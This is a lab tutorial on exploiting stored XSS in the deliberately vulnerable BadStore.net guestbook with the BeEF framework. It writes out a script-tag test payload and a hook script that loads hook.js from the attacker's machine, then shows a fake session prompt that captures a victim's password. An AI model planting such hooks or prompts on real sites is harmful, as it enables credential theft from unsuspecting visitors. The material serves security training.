**Note: The content in this article is only for educational purposes and understanding of cybersecurity concepts. It should enable people and organizations to have a better grip on threats and know how to protect themselves against them. Please use this information responsibly.**
BeEF is a specialized penetration testing tool designed for assessing web browser security. In response to increasing concerns about web-based attacks targeting clients, including mobile ones,BeEF allows professional penetration testers to assess the actual security condition of a target environment by utilizing client-side attack vector.Distinguishing itself from other security frameworks, BeEF shifts focus from fortified network perimeters and client systems to explore exploitability within the primary vulnerability: the web browser. By hooking into one or more web browsers, BeEF serves as a platform for launching targeted command modules and additional attacks directly from within the browser context.
In this we will be exploiting Badstore.net which is prone to stored XSS (Cross-Site Scripting). Badstore.net is a specialized site designed to help you understand how hackers exploit web application vulnerabilities and to demonstrate ways to minimize your risk.We will be using BeEF to show common hacking techniques.
Here are the steps to perform :
Step 1 : Open Badstore.net
Step 2 : Click on “Sign Our Guestbook”. Now in the input field write basic script in the format of <script>alert(1)</script>.
Step 3. Click on Add Entry. We get a dialog box alerting name, email and comments which means all input fields are vulnerable.
Step 4. Now we can execute the BeEF-xss script. First open up the kali terminal and write “beef-xss” command. You will notice two links –
- Web UI : which is BeEF interactive panel
- Hook : the script we have to execute on the website and then store it in the website’s server.
Step 5 : Execute this hook script in any of the sign our guestbook’s input field. Make sure to change the ip address to the current kali linux machine’s ip address. Now click on add Entry.
This will store our hook script on the BadStore.net server.
<script src=”http://192.168.118.128:3000/hook.js”></script>
Step 6. Open the web UI panel. Make sure to change the ip address to kali’s ip as well.
Now login using username as “beef” and password as the pass phrase which you entered when you ran beef-xss command for the very first time.
http://192.168.118.128:3000/ui/panel
Step 7. Now pretend you are a normal user(victim) who is surfing this website in the windows machine or different virtual machine. Now go to sign our guestbook and write something about this site and click on that Add Entry button.
Step 8. Now what happens is that the script of hook.js(malicious script which was stored on the server) will run on the victim’s browser and you will be able to see the ip address of the victim in the BeEF control panel stating the victim’s ip as 192.168.118.1.
Step 9. Click on the victim’s ip. Now go to the commands section. Click on the browser folder.
Click on Create Prompt Dialog. Write the prompt text : Enter password for resuming the session. Now click on Execute.
Step 10. A dialog box will open up in the victim’s browser.It is possible that the victim trusts this website and can be tricked into writing his password which is “password123”.
Step 11. Now go to the control panel and see the module results history of that command. Click on the very first entry and see the results.
Congratulations !!! We were successful in capturing the password of the victim. Now there are many modules which we can execute by looking into the commands sections. We can see how powerful this BeEF is if your website is vulnerable to XSS. So we should always try to sanitize our input fields to make sure no malicious code can run on our site.
